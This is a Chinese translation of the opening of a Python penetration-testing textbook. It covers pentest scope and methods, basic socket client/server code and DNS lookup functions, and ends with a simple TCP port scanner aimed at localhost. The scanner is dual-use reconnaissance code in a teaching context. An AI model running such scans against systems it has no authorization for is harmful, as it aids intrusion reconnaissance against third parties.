Python-渗透测试基础知识(全)

Python 渗透测试基础知识(全)

原文:annas-archive.org/md5/D99A9F7802A11A3421FFD0540EBE69EA

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

这本书是一本实用指南,向您展示了使用 Python 进行渗透测试的优势,并提供了详细的代码示例。本书从探索 Python 的网络基础知识开始,然后进入网络和无线渗透测试,包括信息收集和攻击。您将学习如何构建蜜罐陷阱。随后,我们深入研究应用层的黑客攻击,从网站收集信息开始,最终涉及与网站黑客攻击相关的概念,如参数篡改、DDOS、XSS 和 SQL 注入。

本书适合对象

如果您是 Python 程序员、安全研究人员或具有 Python 编程基础知识并希望借助 Python 学习渗透测试的网络管理员,那么本书非常适合您。即使您是新手道德黑客领域,本书也可以帮助您发现系统中的漏洞,以便您准备应对任何类型的攻击或入侵。

本书内容

第一章,“Python 与渗透测试和网络”,介绍了以下章节的先决条件。本章还讨论了套接字及其方法。服务器套接字的方法定义了如何创建一个简单的服务器。

第二章,“扫描渗透测试”,介绍了如何执行网络扫描以收集有关网络、主机和主机上运行的服务的信息。您将看到一个非常快速和高效的 IP 扫描器。

第三章,“嗅探和渗透测试”,教授如何进行主动嗅探以及如何创建传输层嗅探器。您将学习特殊类型的扫描。

第四章,“网络攻击和预防”,概述了不同类型的网络攻击,如 DHCP 饥饿和交换机 MAC 洪泛。您将学习如何在客户端检测到 torrent。

第五章,“无线渗透测试”,介绍了无线帧,并解释了如何使用 Python 脚本从无线帧中获取 SSID、BSSID 和信道号等信息。在这种类型的攻击中,您将学习如何对 AP 执行渗透测试攻击。

第六章,“蜜罐-为攻击者构建陷阱”,着重介绍了如何为攻击者构建陷阱。您将学习如何从 TCP 层 2 到 TCP 层 4 构建代码。

第七章,“足迹定位 Web 服务器和 Web 应用程序”,深入探讨了 Web 服务器签名的重要性、电子邮件收集以及了解服务器签名是黑客攻击的第一步。

第八章,“客户端和 DDoS 攻击”,探讨了客户端验证以及如何绕过客户端验证。本章涵盖了四种类型的 DDoS 攻击的实施。

第九章,“渗透测试 SQL 和 XSS”,讨论了两种主要的 Web 攻击:SQL 注入和 XSS。在 SQL 注入中,您将学习如何使用 Python 脚本找到管理员登录页面。

为了充分利用本书

为了理解本书,读者必须具备网络基础知识、Linux 操作系统的基本知识、信息安全的良好知识和核心 Python 知识。

为了进行实验或运行代码,读者可以使用虚拟机(Vmware,虚拟盒)。对于无线渗透测试,读者可以使用无线网卡 TP-Link TL-WN722N。因为 TL-WN722N 无线网卡支持在 VMware 中运行 Kali Linux。

下载示例代码文件

您可以从www.packtpub.com的帐户中下载本书的示例代码文件。如果您在其他地方购买了本书,可以访问www.packtpub.com/support并注册,以便直接通过电子邮件接收文件。

您可以按照以下步骤下载代码文件:

  1. www.packtpub.com登录或注册。

  2. 选择“支持”选项卡。

  3. 点击代码下载和勘误。

  4. 在搜索框中输入书名,然后按照屏幕上的说明操作。

文件下载完成后,请确保使用最新版本的以下软件解压缩或提取文件夹:

  • WinRAR/7-Zip for Windows

  • Zipeg/iZip/UnRarX for Mac

  • 7-Zip/PeaZip for Linux

本书的代码捆绑包也托管在 GitHub 上,网址为github.com/PacktPublishing/Python-Penetration-Testing-Essentials-Second-Edition。如果代码有更新,将在现有的 GitHub 存储库上进行更新。

我们还有其他代码捆绑包,来自我们丰富的图书和视频目录,可在github.com/PacktPublishing/上获得。去看看吧!

下载彩色图像

我们还提供了一个 PDF 文件,其中包含本书中使用的屏幕截图/图表的彩色图像。您可以在这里下载:www.packtpub.com/sites/default/files/downloads/PythonPenetrationTestingEssentialsSecondEdition_ColorImages.pdf

代码实例

访问以下链接查看代码运行的视频:

goo.gl/sBHVND

使用的约定

本书中使用了许多文本约定。

CodeInText:表示文本中的代码词,数据库表名,文件夹名,文件名,文件扩展名,路径名,虚拟 URL,用户输入和 Twitter 句柄。这是一个例子:"将下载的WebStorm-10*.dmg磁盘映像文件挂载为系统中的另一个磁盘。"

代码块设置如下:

import os
response = os.popen('ping -n 1 10.0.0.1')
for line in response.readlines():
    print line,

当我们希望引起您对代码块的特定部分的注意时,相关行或项目将以粗体显示:

s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
i = 1

任何命令行输入或输出都是这样写的:

python setup.py install

粗体:表示一个新术语,一个重要单词,或者您在屏幕上看到的单词。例如,菜单或对话框中的单词会以这种方式出现在文本中。这是一个例子:"从管理面板中选择系统信息。"

警告或重要提示会以这种方式出现。

提示和技巧会以这种方式出现。

第一章:Python 与渗透测试和网络

渗透测试员和黑客是类似的术语。不同之处在于渗透测试员为组织工作以防止黑客攻击,而黑客则出于名誉、出售漏洞以获取金钱,或者利用个人仇恨的目的进行攻击。

许多训练有素的黑客通过侵入系统然后通知受害者他们的安全漏洞,从而在信息安全领域找到了工作。

当黑客为组织或公司保护其系统时,他被称为渗透测试员。渗透测试员在获得客户的合法批准后,对网络进行黑客攻击,并提交他们的发现报告。要成为渗透测试的专家,一个人应该对技术的概念有深入的了解。在本章中,我们将涵盖以下主题:

  • 渗透测试的范围

  • 渗透测试的必要性

  • 需要测试的组件

  • 优秀渗透测试员的素质

  • 渗透测试的方法

  • 了解你需要的测试和工具

  • 网络套接字

  • 服务器套接字方法

  • 客户端套接字方法

  • 一般的套接字方法

  • 套接字的实际例子

  • 套接字异常

  • 有用的套接字方法

介绍渗透测试的范围

简而言之,渗透测试用于测试公司的信息安全措施。信息安全措施包括公司的网络、数据库、网站、面向公众的服务器、安全策略以及客户指定的其他一切。在一天结束时,渗透测试员必须提交一份详细的报告,报告中包括公司基础设施的弱点、漏洞以及特定漏洞的风险水平,并在可能的情况下提供解决方案。

渗透测试的必要性

有几点描述了渗透测试的重要性:

  • 渗透测试识别可能暴露组织机密性的威胁

  • 专家级的渗透测试为组织提供了对组织安全的全面和详细的评估

  • 渗透测试通过产生大量的流量来评估网络的效率,并审查防火墙、路由器和交换机等设备的安全性

  • 更改或升级现有的软件、硬件或网络设计基础设施可能导致渗透测试发现的漏洞

  • 在当今世界,潜在威胁显著增加;渗透测试是一种积极的行为,以最小化被利用的机会

  • 渗透测试确保是否遵循适当的安全策略

考虑一个声誉良好的电子商务公司的例子,他们通过在线业务赚钱。黑客或一群黑客在公司的网站上发现了一个漏洞并进行了攻击。公司将不得不承受巨大的损失。

需要测试的组件

组织在进行渗透测试之前应进行风险评估操作;这将有助于识别主要威胁,如错误配置或漏洞:

  • 路由器、交换机或网关

  • 面向公众的系统;网站、DMZ、电子邮件服务器和远程系统

  • DNS、防火墙、代理服务器、FTP 和 Web 服务器

应对网络安全系统的所有硬件和软件组件进行测试。

优秀渗透测试员的素质

以下几点描述了一个优秀的渗透测试员的素质。他们应该:

  • 选择一套平衡成本和效益的测试和工具

  • 遵循适当的程序,进行适当的规划和文档记录

  • 为每次渗透测试建立范围,如目标、限制和程序的合理性

  • 准备好展示如何利用他们发现的漏洞

  • 在最终报告中清楚地说明潜在风险和发现,并在可能的情况下提供减轻风险的方法

  • 始终保持更新,因为技术在迅速发展

渗透测试员使用手动技术或相关工具测试网络。市面上有很多工具可用。其中一些是开源的,一些则非常昂贵。通过编程,程序员可以制作自己的工具。通过创建自己的工具,你可以澄清自己的概念,也可以进行更多的研究和开发。如果你对渗透测试感兴趣并想制作自己的工具,那么 Python 编程语言是最好的选择,因为 Python 中有大量免费的渗透测试包,除了编程的简易性。这种简易性,再加上第三方库如 scapy 和 mechanize,可以减少代码量。在 Python 中,要编写程序,你不需要像 Java 那样定义大的类。用 Python 编写代码比用 C 更高效,而且高级库几乎可以满足任何想象得到的任务。

如果你懂一些 Python 编程并对渗透测试感兴趣,这本书非常适合你。

定义渗透测试的范围

在我们开始渗透测试之前,应该定义渗透测试的范围。在定义范围时应考虑以下几点:

  • 你应该通过与客户协商来制定项目的范围。例如,如果 Bob(客户)想要测试组织的整个网络基础设施,那么渗透测试员 Alice 将考虑这个网络来定义渗透测试的范围。Alice 将与 Bob 商议是否应该包括任何敏感或受限制的区域。

  • 你应该考虑时间、人员和金钱。

  • 你应该根据渗透测试员和客户签署的协议来界定测试边界。

  • 业务实践的变化可能会影响范围。例如,子网的添加,新系统组件的安装,添加或修改 Web 服务器等,可能会改变渗透测试的范围。

渗透测试的范围分为两种测试类型:

  • 非破坏性测试:这种测试仅限于发现和执行测试,没有潜在风险。它执行以下操作:

  • 扫描和识别远程系统的潜在漏洞

  • 调查和验证发现

  • 将漏洞与适当的利用进行映射

  • 以适当的注意力利用远程系统,以避免中断

  • 提供概念的证明

  • 不要尝试拒绝服务DoS)攻击

  • 破坏性测试:这种测试可能会产生风险。它执行以下操作:

  • 尝试 DoS 攻击和缓冲区溢出攻击,这可能会导致系统崩溃

渗透测试的方法

有三种渗透测试的方法:

  • 黑盒渗透测试遵循非确定性测试的方法:

  • 你将只会得到一个公司名字

  • 这就像是具有外部攻击者知识的黑客

  • 你不需要对系统有任何先验知识

  • 这需要时间

  • 白盒渗透测试遵循确定性测试的方法:

  • 你将获得需要测试的基础设施的完整知识

  • 这就像是作为对公司基础设施有充分了解的恶意员工在工作

  • 你将获得有关公司基础设施、网络类型、公司政策、行为准则、IP 地址和 IPS/IDS 防火墙的信息

  • 灰盒渗透测试遵循黑盒和白盒测试的混合方法:

  • 测试人员通常只能获得客户提供的目标网络/系统的有限信息,以降低成本并减少渗透测试人员的试错。

  • 它在内部执行安全评估和测试

介绍 Python 脚本

在你开始阅读这本书之前,你应该了解 Python 编程的基础知识,比如基本语法、变量类型、数据类型元组、列表字典、函数、字符串和方法。在python.org/downloads/上有两个版本,3.4 和 2.7.8。

在这本书中,所有的实验和演示都是在 Python 2.7.8 版本中完成的。如果你使用 Kali 或 BackTrack 等 Linux 操作系统,那就没有问题,因为许多程序,比如无线嗅探,在 Windows 平台上无法工作。Kali Linux 也使用 2.7 版本。如果你喜欢在 Red Hat 或 CentOS 上工作,那么这个版本适合你。

大多数黑客选择这个职业是因为他们不想做编程。他们想使用工具。然而,没有编程,黑客无法提高自己的技能。每一次,他们都不得不在互联网上搜索工具。相信我,看到它的简单性之后,你会喜欢这种语言的。

理解你需要的测试和工具

正如你所看到的,这本书分为九章。要进行扫描和嗅探渗透测试,你将需要一个连接设备的小型网络。如果你没有实验室,你可以在你的计算机上创建虚拟机。对于无线流量分析,你应该有一个无线网络。进行网络攻击,你将需要在 Linux 平台上运行的 Apache 服务器。最好使用 CentOS 或 Red Hat 版本 5 或 6 作为 Web 服务器,因为这包含了 Apache 和 PHP 的 RPM。对于 Python 脚本,我们将使用 Wireshark 工具,这是开源的,可以在 Windows 和 Linux 平台上运行。

学习使用 Python 的常见测试平台

现在你将进行一些渗透测试;我希望你对网络基础知识非常熟悉,比如 IP 地址、类别子网划分、无类别子网划分、端口的含义、网络地址和广播地址。渗透测试人员必须对网络基础知识以及至少一种操作系统有所了解;如果你打算使用 Linux,那么你走对了路。在这本书中,我们将在 Windows 和 Linux 上执行我们的程序。在这本书中,将使用 Windows、CentOS 和 Kali Linux。

黑客总是喜欢在 Linux 系统上工作。因为它是免费和开源的,Kali Linux 标志着 BackTrack 的重生,就像一个黑客工具的武库。Kali Linux NetHunter 是第一个为 Nexus 设备提供的开源 Android 渗透测试平台。然而,一些工具在 Linux 和 Windows 上都可以工作,但在 Windows 上,你必须安装这些工具。我希望你对 Linux 有所了解。现在,是时候在 Python 上进行网络工作了。

网络套接字

网络套接字地址包含 IP 地址和端口号。简单地说,套接字是与其他计算机通信的一种方式。通过套接字,一个进程可以通过网络与另一个进程通信。

为了创建一个套接字,使用套接字模块中可用的socket.socket()。套接字函数的一般语法如下:

s = socket.socket (socket_family, socket_type, protocol=0)

以下是参数的描述:

socket_family: socket.AF_INET, PF_PACKET

AF_INET是 IPv4 的地址族。PF_PACKET在设备驱动程序层操作。Linux 的 pcap 库使用PF_PACKET。你将在第三章中看到更多关于PF_PACKET的细节,嗅探和渗透测试。这些参数代表传输层的地址族和协议:

Socket_type : socket.SOCK_DGRAM, socket.SOCK_RAW,socket.SOCK_STREAM

socket.SOCK_DGRAM参数表示 UDP 是不可靠和无连接的,socket.SOCK_STREAM表示 TCP 是可靠的和双向的,基于连接的服务。我们将在第三章中讨论socket.SOCK_RAW嗅探和渗透测试

protocol

通常,我们会留下这个参数;如果未指定,它将为 0。我们将在第三章中看到这个参数的用法,嗅探和渗透测试

服务器套接字方法

在客户端-服务器架构中,有一个提供服务的集中服务器,许多客户端从集中服务器请求和接收服务。以下是您需要了解的一些方法:

  • socket.bind(address): 该方法用于将地址(IP 地址,端口号)连接到套接字。在连接到地址之前,套接字必须是打开的。

  • socket.listen(q): 该方法启动 TCP 监听器。q参数定义了最大排队连接数。

  • socket.accept(): 使用此方法是为了接受来自客户端的连接。在使用此方法之前,必须使用socket.bind(address)socket.listen(q)方法。socket.accept()方法返回两个值,client_socketaddress,其中client_socket是一个新的套接字对象,用于在连接上发送和接收数据,address是客户端的地址。稍后将看到这个的例子。

客户端套接字方法

专门用于客户端的方法只有以下一个:

  • socket.connect(address): 该方法将客户端连接到服务器。address参数是服务器的地址。

一般的套接字方法

一般的套接字方法如下:

  • socket.recv(bufsize): 该方法从套接字接收 TCP 消息。bufsize参数定义了它可以一次接收的最大数据量。

  • socket.recvfrom(bufsize): 该方法从套接字接收数据。该方法返回一对值,第一个值给出接收到的数据,第二个值给出发送数据的套接字的地址。

  • socket.recv_into(buffer): 该方法接收小于或等于buffer的数据。buffer参数由bytearray()方法创建。稍后我们将在示例中讨论这一点。

  • socket.recvfrom_into(buffer): 该方法从套接字获取数据并将其写入缓冲区。返回值是一对(nbytes,address),其中 nbytes 是接收到的字节数,address 是发送数据的套接字的地址。

在旧版本的 Python 中使用socket.recvfrom_into(buffer)方法时要小心。在该方法中发现了缓冲区溢出漏洞。该漏洞的名称是 CVE-2014-1912,其漏洞于 2014 年 2 月 27 日发布。在 Python 2.5 之前的 2.7.7,3.x 之前的 3.3.4 和 3.4.x 之前的 3.4rc1 中的Modules/socketmodule.c中的socket.recvfrom_into函数中存在缓冲区溢出,允许远程攻击者通过精心制作的字符串执行任意代码。

  • socket.send(bytes): 该方法用于向套接字发送数据。在发送数据之前,请确保套接字已连接到远程机器。它返回发送的字节数。

  • socket.sendto(data, address): 该方法用于向套接字发送数据。通常,我们在 UDP 中使用此方法。UDP 是一种无连接的协议;因此,套接字不应连接到远程机器,地址参数指定远程机器的地址。返回值告诉我们发送的字节数。

  • socket.sendall(data): 正如其名称所示,该方法将所有数据发送到套接字。在发送数据之前,请确保套接字已连接到远程机器。此方法不断传输数据,直到出现错误。如果出现错误,将引发异常,并且socket.close()将关闭套接字。

现在,是实践的时候了;不再是平凡的理论。

继续实践

首先,我们将制作一个服务器端程序,为客户端提供连接并向客户端发送消息。运行server1.py

import socket
host = "192.168.0.1" #Server address
port = 12345  #Port of Server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host,port)) #bind server 
s.listen(2) 
conn, addr = s.accept()  
print addr, "Now Connected"
conn.send("Thank you for connecting")
conn.close()

前面的代码非常简单;这是服务器端的最小代码。

首先导入 socket 模块并定义主机和端口号,192.168.0.1是服务器的 IP 地址。Socket.AF_INET定义了 IPv4 协议的族。Socket.SOCK_STREAM定义了 TCP 连接。s.bind((host,port))语句只接受一个参数。它将套接字绑定到主机和端口号。s.listen(2)语句监听连接并等待客户端。conn, addr = s.accept()语句返回两个值:connaddrconn套接字是客户端套接字,正如我们之前讨论的那样。conn.send()函数将消息发送给客户端。最后,conn.close()关闭套接字。通过以下示例和截图,您将更好地理解conn

这是server1.py程序的输出:

  G:PythonNetworking>python server1.py

现在,服务器处于监听模式,并且正在等待客户端。

让我们看看客户端代码。运行client1.py

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = "192.168.0.1"  # server address
port =12345  #server port 
s.connect((host,port)) 
print s.recv(1024)
s.send("Hello Server")
s.close()

在上面的代码中,有两个新方法,s.connect((host,port)),它将客户端连接到服务器,以及s.recv(1024),它接收服务器发送的字符串。

client.py的输出和服务器的响应如下截图所示:

上面输出的截图显示服务器接受了来自192.168.0.11的连接。不要被看到端口1789所困惑;这是客户端的随机端口。当服务器向客户端发送消息时,它使用前面提到的conn套接字,这个conn套接字包含客户端的 IP 地址和端口号。

以下图表显示了客户端如何接受来自服务器的连接。服务器处于监听模式,客户端连接到服务器。当再次运行服务器和客户端程序时,随机端口会发生变化。对于客户端,服务器端口12345是目标端口,对于服务器,客户端随机端口1789是目标端口:

TCP 通信

您可以使用while循环扩展服务器的功能,如下面的程序所示。运行server2.py程序:

import socket 
host = "192.168.0.1"
port = 12345
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host,port))
s.listen(2)
while True:
  conn, addr = s.accept()
  print addr, "Now Connected"
  conn.send("Thank you for connecting")
  conn.close()

上面的代码与前一个代码相同,只是添加了无限的while循环。

运行server2.py程序,并从客户端运行client1.py

server2.py的输出如下所示:

一个服务器可以为多个客户端提供服务。while循环使服务器程序保持运行,并且不允许代码结束。您可以为while循环设置连接限制;例如,设置while i>10并且每次连接增加i

在继续下一个例子之前,应该理解bytearray的概念。bytearray数组是一个可变的无符号整数序列,范围在 0 到 255 之间。您可以删除、插入或替换任意值或切片。可以通过调用内置的bytearray数组来创建bytearray数组的对象。

bytearray的一般语法如下:

bytearray([source[, encoding[, errors]]])

让我们用一个例子来说明这一点:

>>> m = bytearray("Mohit Mohit")
>>> m[1]
111
>>> m[0]
77
>>> m[:5]= "Hello"
>>> m
bytearray(b'Hello Mohit')
>>>

这是对bytearray的切片的一个例子。

现在,让我们看看bytearray()上的split操作:

>>> m = bytearray("Hello Mohit")
>>> m
bytearray(b'Hello Mohit')
>>> m.split()
[bytearray(b'Hello'), bytearray(b'Mohit')]

以下是bytearray()上的append操作:

>>> m.append(33)
>>> m
bytearray(b'Hello Mohit!')
>>> bytearray(b'Hello World!')

下一个例子是s.recv_into(buff)。在这个例子中,我们将使用bytearray()来创建一个缓冲区来存储数据。

首先运行服务器端代码。运行server3.py

import socket
host = "192.168.0.1"
port = 12345
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(1)
conn, addr = s.accept()
print "connected by", addr
conn.send("Thanks")
conn.close()

上面的程序与前一个程序相同。在这个程序中,服务器发送Thanks;六个字符。

让我们运行客户端程序。运行client3.py

import socket
host = "192.168.0.1"
port = 12345
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
buf = bytearray("-" * 30) # buffer created
print "Number of Bytes ",s.recv_into(buf) 
print buf
s.close

在上面的程序中,使用bytearray()创建了一个buf参数。s.recv_into(buf)语句给出了接收到的字节数。buf参数给出了接收到的字符串。

client3.pyserver3.py的输出如下所示:

我们的客户端程序成功接收了字符串Thanks的 6 个字节。到目前为止,您应该对bytearray()有所了解。我希望您会记得它。

这次,我将创建一个 UDP 套接字。

运行udp1.py,我们将逐行讨论代码:

import socket
host = "192.168.0.1"
port = 12346
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind((host,port))
data, addr = s.recvfrom(1024)
print "received from ",addr
print "obtained ", data
s.close()

socket.SOCK_DGRAM创建了一个 UDP 套接字,而data, addr = s.recvfrom(1024)返回了两个东西,第一个是数据,第二个是源地址。

现在,看看客户端的准备工作。运行udp2.py

import socket
host = "192.168.0.1"
port = 12346
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
print s.sendto("hello all",(host,port))
s.close()

在这里,我使用了 UDP 套接字和s.sendto()方法,如您在socket.sendto()的定义中所看到的。您将知道 UDP 是一种无连接协议,因此这里不需要建立连接。

以下截图显示了udp1.py(UDP 服务器)和udp2.py(UDP 客户端)的输出:

服务器程序成功接收了数据。

假设服务器正在运行,并且没有客户端开始连接,并且服务器将一直在监听。因此,为了避免这种情况,使用socket.settimeout(value)

通常,我们给一个整数值;如果我给5作为值,这意味着等待五秒钟。如果操作在五秒钟内没有完成,那么将引发超时异常。您也可以提供非负浮点值。

例如,让我们看看以下代码:

import socket
host = "192.168.0.1"
port = 12346
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind((host,port))
s.settimeout(5)
data, addr = s.recvfrom(1024)
print "recevied from ",addr
print "obtained ", data
s.close()

我添加了一行额外的代码,即s.settimeout(5)。程序等待五秒钟;只有在那之后才会给我们一个错误消息。运行udptime1.py

输出如下截图所示:

程序显示了一个错误;但是,如果它给出一个错误消息,那就不好看了。程序应该处理异常。

套接字异常

为了处理异常,我们将使用 try 和 except 块。以下示例将告诉您如何处理异常。运行udptime2.py

import socket
host = "192.168.0.1"
port = 12346
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:

  s.bind((host,port))
  s.settimeout(5)
  data, addr = s.recvfrom(1024)
  print "recevied from ",addr
  print "obtained ", data
  s.close()

except socket.timeout :
  print "Client not connected"
  s.close()

输出如下截图所示:

在 try 块中,我放置了我的代码,从 except 块中,如果发生任何异常,将打印一个自定义消息。

Python 的套接字库定义了不同类型的异常,用于不同的错误。这些异常在这里描述:

  • exception socket.herror:此块捕获与地址相关的错误。

  • exception socket.timeout:此块捕获套接字启用settimeout()的超时发生时的异常。在前面的例子中,您可以看到我们使用了socket.timeout

  • exception socket.gaierror:此块捕获由getaddrinfo()getnameinfo()引发的任何异常。

  • exception socket.error:此块捕获任何与套接字相关的错误。如果您对任何异常不确定,可以使用此功能。换句话说,您可以说它是一个通用块,可以捕获任何类型的异常。

下载示例代码

您可以从www.packtpub.com的帐户中下载示例代码文件,以获取您购买的所有 Packt Publishing 图书。如果您在其他地方购买了本书,可以访问www.packtpub.com/support并注册,以便直接通过电子邮件接收文件。

有用的套接字方法

到目前为止,您已经了解了套接字和客户端-服务器架构。在这个级别上,您可以制作一个小型的网络程序。但是,本书的目的是测试网络并收集信息。Python 提供了非常美丽和有用的方法来收集信息。首先,导入套接字,然后使用这些方法:

  • socket.gethostbyname(hostname):此方法将主机名转换为 IPv4 地址格式。IPv4 地址以字符串形式返回。这是一个例子:
 >>> import socket>>>   
       socket.gethostbyname('thapar.edu')'220.227.15.55'>>>>>>   
       socket.gethostbyname('google.com')'173.194.126.64'>>>

我知道您正在考虑nslookup命令。稍后,您将看到更多的魔法。

  • socket.gethostbyname_ex(name):此方法将主机名转换为 IPv4 地址模式。然而,与前一种方法相比的优势在于它给出了域名的所有 IP 地址。它返回一个元组(主机名,规范名称和 IP_addrlist),其中主机名由我们给出,规范名称是服务器的规范主机名(可能为空)的列表,IP_addrlist 是同一主机名的所有可用 IP 地址的列表。通常,一个域名托管在许多 IP 地址上,以平衡服务器的负载。不幸的是,这种方法不适用于 IPv6。我希望你对元组、列表和字典很熟悉。让我们看一个例子:
 >>> socket.gethostbyname_ex('thapar.edu')('thapar.edu', [],  
       ['14.139.242.100', '220.227.15.55'])>>> 
       socket.gethostbyname_ex('google.com')>>>('google.com', [], 
       ['173.194.36.64', '173.194.36.71', '173.194.36.73',   
       '173.194.36.70', 
       '173.194.36.78', '173.194.36.66', '173.194.36.65', 
       '173.194.36.68', 
       '173.194.36.69', '173.194.36.72', '173.194.36.67'])>>>

它为一个域名返回许多 IP 地址。这意味着一个域名如thapar.edugoogle.com在多个 IP 上运行。

  • socket.gethostname():返回 Python 解释器当前运行的系统的主机名:
 >>> socket.gethostname()'eXtreme'

使用套接字模块来获取当前机器的 IP 地址,可以使用以下技巧:gethostbyname(gethostname())

 >>> socket.gethostbyname(socket.gethostname())'192.168.10.1'>>>

您知道我们的计算机有许多接口。如果您想知道所有接口的 IP 地址,可以使用扩展接口:。

 >>> socket.gethostbyname_ex(socket.gethostname())('eXtreme', [], 
 ['10.0.0.10', '192.168.10.1', '192.168.0.1'])>>>

它返回一个包含三个元素的元组,第一个是机器名,第二个是主机名的别名列表(在这种情况下为空),第三个是接口的 IP 地址列表。

  • socket.getfqdn([name]):如果可用,用于查找完全合格的域名。完全合格的域名由主机名和域名组成;例如,beta可能是主机名,example.com可能是域名。完全合格的域名FQDN)变成了beta.example.com
 >>> socket.getfqdn('facebook.com')'edge-star-shv-12- 
 frc3.facebook.com'

在前面的例子中,edge-star-shv-12-frc3是主机名,facebook.com是域名。在下面的例子中,thapar.edu的 FQDN 不可用:

 >>> socket.getfqdn('thapar.edu')'thapar.edu'

如果名称参数为空,它将返回当前机器的名称:

 >>> socket.getfqdn()'eXtreme'>>>
  • socket.gethostbyaddr(ip_address):这就像是对名称的反向查找。它返回一个元组(主机名,规范名称和 IP_addrlist),其中主机名是响应给定ip_address的主机名,规范名称是同一地址的规范名称(可能为空)的列表,IP_addrlist 是同一主机上同一网络接口的 IP 地址列表:
 >>> socket.gethostbyaddr('173.194.36.71')('del01s06-in-
      f7.1e100.net', [], ['173.194.36.71'])>>>    
      socket.gethostbyaddr('119.18.50.66')Traceback (most recent call   
      last):  File "<pyshell#9>", line 1, in <module>    
      socket.gethostbyaddr('119.18.50.66')herror: [Errno 11004] host 
      not found

它显示了最后一个查询中的错误,因为没有反向 DNS 查找。

  • socket.getservbyname(servicename[, protocol_name]):这将任何协议名称转换为相应的端口号。协议名称是可选的,可以是 TCP 或 UDP。例如,DNS 服务使用 TCP 和 UDP 连接。如果没有给出协议名称,任何协议都可以匹配:
 >>> import socket>>> socket.getservbyname('http')80>>>   
      socket.getservbyname('smtp','tcp')25>>>
  • socket.getservbyport(port[, protocol_name]):这将互联网端口号转换为相应的服务名称。协议名称是可选的,可以是 TCP 或 UDP:
 >>> socket.getservbyport(80)'http'>>>    
      socket.getservbyport(23)'telnet'>>>    
      socket.getservbyport(445)'microsoft-ds'>>>
  • socket.connect_ex(address):此方法返回一个错误指示器。如果成功,它返回0;否则,它返回errno变量。您可以利用这个函数来扫描端口。运行connect_ex.py程序:
      import socket
      rmip ='127.0.0.1'
      portlist = [22,23,80,912,135,445,20]

      for port in portlist:
      sock= socket.socket(socket.AF_INET,socket.SOCK_STREAM)
      result = sock.connect_ex((rmip,port))
      print port,":", result
      sock.close()

输出如下截图所示:

前面的程序输出显示端口80912135445是开放的。这是一个基本的端口扫描程序。程序正在使用 IP 地址127.0.0.1;这是一个环回地址,所以不可能有任何连接问题。然而,当您遇到问题时,在另一台设备上执行此操作,并使用一个大的端口列表。这时,您将需要使用socket.settimeout(value)

socket.getaddrinfo(host, port[, family[, socktype[, proto[, flags]]]])

这个套接字方法将主机和端口参数转换为五元组的序列。

让我们看下面的例子:

   >>> import socket
   >>> socket.getaddrinfo('www.thapar.edu', 'http')
   [(2, 1, 0, '', ('220.227.15.47', 80)), (2, 1, 0, '',  
   ('14.139.242.100', 80))]
   >>>

输出2表示家族,1表示套接字类型,0表示协议,''表示规范名称,('220.227.15.47', 80)表示2套接字地址。然而,这个数字很难理解。打开套接字的目录。

使用以下代码以可读的形式找到结果:

import socket
def get_protnumber(prefix):
  return dict( (getattr(socket, a), a)
    for a in dir(socket)
      if a.startswith(prefix))

proto_fam = get_protnumber('AF_')
types = get_protnumber('SOCK_')
protocols = get_protnumber('IPPROTO_')

for res in socket.getaddrinfo('www.thapar.edu', 'http'):

  family, socktype, proto, canonname, sockaddr = res

  print 'Family        :', proto_fam[family]
  print 'Type          :', types[socktype]
  print 'Protocol      :', protocols[proto]
  print 'Canonical name:', canonname
  print 'Socket address:', sockaddr

代码的输出显示在以下截图中:

上部分使用AF_SOCK_IPPROTO_前缀创建了一个字典,将协议号映射到它们的名称。这个字典是通过列表推导技术形成的。

代码的上部分有时可能会令人困惑,但我们可以分别执行代码如下:

  >>> dict(( getattr(socket,n),n) for n in dir(socket) if 
  n.startswith('AF_'))
  {0: 'AF_UNSPEC', 2: 'AF_INET', 6: 'AF_IPX', 11: 'AF_SNA', 12:  
  'AF_DECnet', 16: 'AF_APPLETALK', 23: 'AF_INET6', 26: 'AF_IRDA'}

现在,这很容易理解。这段代码通常用于获取协议号:

for res in socket.getaddrinfo('www.thapar.edu', 'http'):

代码的前一行返回了五个值,如定义中所讨论的。然后将这些值与其相应的字典进行匹配。

总结

通过阅读本章,您已经了解了 Python 中的网络。本章的目的是完成即将到来的章节的先决条件。从一开始,您就学会了渗透测试的必要性。渗透测试是为了识别组织中的威胁和漏洞。应该测试什么?这在协议中有规定;不要尝试测试协议中未提及的任何内容。协议是您的免责条款。渗透测试人员应该了解最新的技术,并且在阅读本书之前应该对 Python 有一些了解。为了运行 Python 脚本,您应该有一个实验室设置,一个用于测试实时系统的计算机网络,以及在 Apache 服务器上运行的虚拟网站。

本章还讨论了套接字及其方法。服务器套接字方法定义了如何创建一个简单的服务器。服务器将自己的地址和端口绑定到监听连接。知道服务器地址和端口号的客户端连接到服务器以获取服务。一些套接字方法,如socket.recv(bufsize)socket.recvfrom(bufsize)socket.recv_into(buffer)socket.send(bytes)等对服务器和客户端都很有用。您学会了如何处理不同类型的异常。在有用的套接字方法部分,您了解了如何获取机器的 IP 地址和主机名,如何从域名中获取 IP 地址,反之亦然。

在下一章中,我们将研究扫描渗透测试,其中包括 IP 地址扫描以检测活动主机。进行 IP 扫描时,使用 ping 扫描和 TCP 扫描。您将学习如何使用端口扫描器检测远程主机上运行的服务。

第二章:扫描渗透测试

网络扫描是指一组程序,用于调查活动主机、主机类型、开放端口和主机上运行的服务类型。网络扫描是情报收集的一部分,攻击者可以通过它创建目标组织的概况。

在本章中,我们将涵盖以下主题:

  • 如何检查活动系统

  • Ping 扫描

  • TCP 扫描程序

  • 如何创建一个高效的 IP 扫描程序

  • 运行在目标机器上的服务

  • 端口扫描的概念

  • 如何创建一个高效的端口扫描程序

您应该对 TCP/IP 层通信有基本的了解。在进一步进行之前,应清楚协议数据单元PDU)的概念。

PDU 是协议中指定的数据单元。这是每一层的数据的通用术语:

  • 对于应用层,PDU 表示数据

  • 对于传输层,PDU 表示一个段

